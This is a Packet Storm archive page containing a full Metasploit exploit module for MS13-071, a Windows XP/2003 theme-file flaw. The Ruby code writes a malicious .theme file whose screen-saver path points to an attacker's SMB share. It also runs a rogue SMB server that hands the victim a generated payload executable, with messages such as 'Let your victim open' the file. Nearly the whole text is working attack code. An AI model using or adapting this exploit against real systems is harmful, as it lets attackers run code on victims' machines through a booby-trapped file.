Lucene search

K
packetstormEduardo PradoPACKETSTORM:123335
HistorySep 20, 2013 - 12:00 a.m.

MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution

2013-09-2000:00:00
Eduardo Prado
packetstormsecurity.com
32

0.951 High

EPSS

Percentile

99.1%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::SMBServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",  
'Description' => %q{  
This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows  
2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]  
section. An arbitrary path can be used as screen saver, including a remote SMB resource,  
which allows for remote code execution when a malicious .theme file is opened, and the  
"Screen Saver" tab is viewed.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Eduardo Prado', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2013-0810'],  
['OSVDB', '97136'],  
['MSB', 'MS13-071'],  
['BID', '62176']  
],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => 'false'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows XP SP3 / Windows 2003 SP2', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "Sep 10 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),  
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])  
], self.class)  
end  
  
def exploit  
  
if (datastore['UNCPATH'])  
@unc = datastore['UNCPATH']  
print_status("Remember to share the malicious EXE payload as #{@unc}")  
else  
print_status("Generating our malicious executable...")  
@exe = generate_payload_exe  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']  
@share = rand_text_alpha(5 + rand(5))  
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"  
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)  
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"  
end  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
# Default Windows XP / 2003 theme modified  
theme = <<-EOF  
; Copyright © Microsoft Corp. 1995-2001  
  
[Theme]  
[email protected],-2016  
  
; My Computer  
[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon]  
DefaultValue=%WinDir%explorer.exe,0  
  
; My Documents  
[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon]  
DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0  
  
; My Network Places  
[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon]  
DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17  
  
; Recycle Bin  
[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon]  
full=%WinDir%SYSTEM32\\shell32.dll,32  
empty=%WinDir%SYSTEM32\\shell32.dll,31  
  
[Control Panel\\Desktop]  
Wallpaper=  
TileWallpaper=0  
WallpaperStyle=2  
Pattern=  
ScreenSaveActive=0  
  
[boot]  
SCRNSAVE.EXE=#{@unc}  
  
[MasterThemeSelector]  
MTSM=DABJDKT  
EOF  
file_create(theme)  
print_good("Let your victim open #{datastore['FILENAME']}")  
  
if not datastore['UNCPATH']  
print_status("Ready to deliver your payload on #{@unc}")  
super  
end  
  
end  
  
# TODO: these smb_* methods should be moved up to the SMBServer mixin  
# development and test on progress  
  
def smb_cmd_dispatch(cmd, c, buff)  
smb = @state[c]  
vprint_status("Received command #{cmd} from #{smb[:name]}")  
  
pkt = CONST::SMB_BASE_PKT.make_struct  
pkt.from_s(buff)  
#Record the IDs  
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']  
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']  
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']  
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']  
  
case cmd  
when CONST::SMB_COM_NEGOTIATE  
smb_cmd_negotiate(c, buff)  
when CONST::SMB_COM_SESSION_SETUP_ANDX  
wordcount = pkt['Payload']['SMB'].v['WordCount']  
if wordcount == 0x0D # It's the case for Share Security Mode sessions  
smb_cmd_session_setup(c, buff)  
else  
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")  
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)  
end  
when CONST::SMB_COM_TRANSACTION2  
smb_cmd_trans(c, buff)  
when CONST::SMB_COM_NT_CREATE_ANDX  
smb_cmd_create(c, buff)  
when CONST::SMB_COM_READ_ANDX  
smb_cmd_read(c, buff)  
else  
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")  
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)  
end  
end  
  
  
def smb_cmd_negotiate(c, buff)  
pkt = CONST::SMB_NEG_PKT.make_struct  
pkt.from_s(buff)  
  
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)  
  
dialect = dialects.index("NT LM 0.12") || dialects.length-1  
  
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 17  
pkt['Payload'].v['Dialect'] = dialect  
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode  
pkt['Payload'].v['MaxMPX'] = 50  
pkt['Payload'].v['MaxVCS'] = 1  
pkt['Payload'].v['MaxBuff'] = 4356  
pkt['Payload'].v['MaxRaw'] = 65536  
pkt['Payload'].v['SystemTimeLow'] = time_lo  
pkt['Payload'].v['SystemTimeHigh'] = time_hi  
pkt['Payload'].v['ServerTimeZone'] = 0x0  
pkt['Payload'].v['SessionKey'] = 0  
pkt['Payload'].v['Capabilities'] = 0x80f3fd  
pkt['Payload'].v['KeyLength'] = 8  
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)  
  
c.put(pkt.to_s)  
end  
  
def smb_cmd_session_setup(c, buff)  
  
pkt = CONST::SMB_SETUP_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 3  
pkt['Payload'].v['AndX'] = 0x75  
pkt['Payload'].v['Reserved1'] = 00  
pkt['Payload'].v['AndXOffset'] = 96  
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest  
pkt['Payload'].v['Payload'] =  
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature  
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature  
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature  
tree_connect_response = ""  
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount  
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand  
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved  
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset  
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support  
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter  
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount  
tree_connect_response << "A:\x00" # Service  
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters  
# Fix the Netbios Session Service Message Length  
# to have into account the tree_connect_response,  
# need to do this because there isn't support for  
# AndX still  
my_pkt = pkt.to_s + tree_connect_response  
original_length = my_pkt[2, 2].unpack("n").first  
original_length = original_length + tree_connect_response.length  
my_pkt[2, 2] = [original_length].pack("n")  
c.put(my_pkt)  
end  
  
def smb_cmd_create(c, buff)  
pkt = CONST::SMB_CREATE_PKT.make_struct  
pkt.from_s(buff)  
  
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/  
pkt = CONST::SMB_CREATE_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 42  
pkt['Payload'].v['AndX'] = 0xff # no further commands  
pkt['Payload'].v['OpLock'] = 0x2  
# No need to track fid here, we're just offering one file  
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0  
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened  
pkt['Payload'].v['CreateTimeLow'] = @lo  
pkt['Payload'].v['CreateTimeHigh'] = @hi  
pkt['Payload'].v['AccessTimeLow'] = @lo  
pkt['Payload'].v['AccessTimeHigh'] = @hi  
pkt['Payload'].v['WriteTimeLow'] = @lo  
pkt['Payload'].v['WriteTimeHigh'] = @hi  
pkt['Payload'].v['ChangeTimeLow'] = @lo  
pkt['Payload'].v['ChangeTimeHigh'] = @hi  
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file  
pkt['Payload'].v['AllocLow'] = 0x100000  
pkt['Payload'].v['AllocHigh'] = 0  
pkt['Payload'].v['EOFLow'] = @exe.length  
pkt['Payload'].v['EOFHigh'] = 0  
pkt['Payload'].v['FileType'] = 0  
pkt['Payload'].v['IPCState'] = 0x7  
pkt['Payload'].v['IsDirectory'] = 0  
c.put(pkt.to_s)  
else  
pkt = CONST::SMB_CREATE_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX  
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
c.put(pkt.to_s)  
end  
  
end  
  
def smb_cmd_read(c, buff)  
pkt = CONST::SMB_READ_PKT.make_struct  
pkt.from_s(buff)  
  
offset = pkt['Payload'].v['Offset']  
length = pkt['Payload'].v['MaxCountLow']  
  
pkt = CONST::SMB_READ_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 12  
pkt['Payload'].v['AndX'] = 0xff # no more commands  
pkt['Payload'].v['Remaining'] = 0xffff  
pkt['Payload'].v['DataLenLow'] = length  
pkt['Payload'].v['DataOffset'] = 59  
pkt['Payload'].v['DataLenHigh'] = 0  
pkt['Payload'].v['Reserved3'] = 0  
pkt['Payload'].v['Reserved4'] = 6  
pkt['Payload'].v['ByteCount'] = length  
pkt['Payload'].v['Payload'] = @exe[offset, length]  
  
c.put(pkt.to_s)  
end  
  
def smb_cmd_trans(c, buff)  
pkt = CONST::SMB_TRANS2_PKT.make_struct  
pkt.from_s(buff)  
  
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first  
case sub_command  
when 0x5 # QUERY_PATH_INFO  
smb_cmd_trans_query_path_info(c, buff)  
when 0x1 # FIND_FIRST2  
smb_cmd_trans_find_first2(c, buff)  
else  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND  
c.put(pkt.to_s)  
end  
end  
  
def smb_cmd_trans_query_path_info(c, buff)  
pkt = CONST::SMB_TRANS2_PKT.make_struct  
pkt.from_s(buff)  
  
if pkt['Payload'].v['SetupData'].length < 16  
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,  
# return a Directory answer  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 10  
pkt['Payload'].v['ParamCountTotal'] = 2  
pkt['Payload'].v['DataCountTotal'] = 40  
pkt['Payload'].v['ParamCount'] = 2  
pkt['Payload'].v['ParamOffset'] = 56  
pkt['Payload'].v['DataCount'] = 40  
pkt['Payload'].v['DataOffset'] = 60  
pkt['Payload'].v['Payload'] =  
"\x00" + # Padding  
# QUERY_PATH_INFO Parameters  
"\x00\x00" + # EA Error Offset  
"\x00\x00" + # Padding  
#QUERY_PATH_INFO Data  
[@lo, @hi].pack("VV") + # Created  
[@lo, @hi].pack("VV") + # Last Access  
[@lo, @hi].pack("VV") + # Last Write  
[@lo, @hi].pack("VV") + # Change  
"\x10\x00\x00\x00" + # File attributes => directory  
"\x00\x00\x00\x00" # Unknown  
c.put(pkt.to_s)  
  
else  
# if QUERY_PATH_INFO_PARAMETERS includes a file name,  
# returns an object name not found error  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
c.put(pkt.to_s)  
  
end  
end  
  
def smb_cmd_trans_find_first2(c, buff)  
  
pkt = CONST::SMB_TRANS_RES_PKT.make_struct  
smb_set_defaults(c, pkt)  
  
file_name = Rex::Text.to_unicode(@scr_file)  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x88  
pkt['Payload']['SMB'].v['Flags2'] = 0xc001  
pkt['Payload']['SMB'].v['WordCount'] = 10  
pkt['Payload'].v['ParamCountTotal'] = 10  
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length  
pkt['Payload'].v['ParamCount'] = 10  
pkt['Payload'].v['ParamOffset'] = 56  
pkt['Payload'].v['DataCount'] = 94 + file_name.length  
pkt['Payload'].v['DataOffset'] = 68  
pkt['Payload'].v['Payload'] =  
"\x00" + # Padding  
# FIND_FIRST2 Parameters  
"\xfd\xff" + # Search ID  
"\x01\x00" + # Search count  
"\x01\x00" + # End Of Search  
"\x00\x00" + # EA Error Offset  
"\x00\x00" + # Last Name Offset  
"\x00\x00" + # Padding  
#QUERY_PATH_INFO Data  
[94 + file_name.length].pack("V") + # Next Entry Offset  
"\x00\x00\x00\x00" + # File Index  
[@lo, @hi].pack("VV") + # Created  
[@lo, @hi].pack("VV") + # Last Access  
[@lo, @hi].pack("VV") + # Last Write  
[@lo, @hi].pack("VV") + # Change  
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File  
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size  
"\x80\x00\x00\x00" + # File attributes => directory  
[file_name.length].pack("V") + # File name len  
"\x00\x00\x00\x00" + # EA List Lenght  
"\x00" + # Short file lenght  
"\x00" + # Reserved  
("\x00" * 24) +  
file_name  
  
c.put(pkt.to_s)  
end  
  
end  
  
`